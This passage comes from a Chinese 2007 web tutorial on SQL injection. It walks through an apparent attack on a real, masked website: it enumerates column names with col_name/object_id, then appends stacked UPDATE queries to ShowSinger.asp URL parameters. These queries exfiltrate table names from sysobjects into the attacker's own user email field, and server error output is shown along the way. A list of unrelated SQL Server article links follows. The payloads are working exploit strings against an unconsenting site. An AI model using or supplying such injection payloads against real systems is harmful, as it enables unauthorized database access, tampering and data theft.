有孔就入 SQL Injection的深入探讨
2007-05-19 09:43:25 来源:WEB开发网核心提示: select top 1 col_name(object_id(gallery),1) from gallery得到gallery表的第一个字段名为id,注:col_name()的语法COL_NAME ( table_id , column_id )参数table_id:包含数据库列的表的
select top 1 col_name(object_id(gallery),1) from gallery
得到gallery表的第一个字段名为id。
注:
col_name()的语法
COL_NAME ( table_id , column_id )
参数
table_id:包含数据库列的表的标识号。table_id 属于 int 类型。
column_id:列的标识号。column_id 参数属于 int 类型。
其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号,以此类推得到该表所有的字段名称。
三、再次渗透攻击
经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了,依然是那个页,我们提交。
http://******/showspecial.asp?
Specialid=1817;update[user]set
email=(select top 1 name from sysobjects
where xtype=u and status>0) where id=103534;--
服务器返回
ADODB.Recordset 错误 800a0cb3
当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。
/showspecial.asp,行19
出师不利,可能该页记录集打开方式是只读,我们再换一个页
找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交
http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 name from sysobjects
where xtype=u and status>0) where id=103534;--
把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser
http://******/ShowSinger.asp
?Classid=34&SClassid=35;update
[user] set email=(select top 1 id from sysobjects
where xtype=u and name=lmuser) where id=103534;--
- ››sql server自动生成批量执行SQL脚本的批处理
- ››sql server 2008亿万数据性能优化
- ››SQL Server 2008清空数据库日志方法
- ››sqlserver安装和简单的使用
- ››SQL Sever 2008 R2 数据库管理
- ››SQL SERVER无法安装成功,sqlstp.log文件提示[未发...
- ››Sql Server中通过父记录查找出所有关联的子记录
- ››SqlServer触发器、存储过程和函数
- ››SQL Server 中的事务(含义,属性,管理)
- ››Sqlite数据库插入和读取图片数据
- ››Sql server 2005拒绝了对对象 'xx表' (数...
- ››Sql server 2005拒绝了对对象 'xx表' (数...
更多精彩
赞助商链接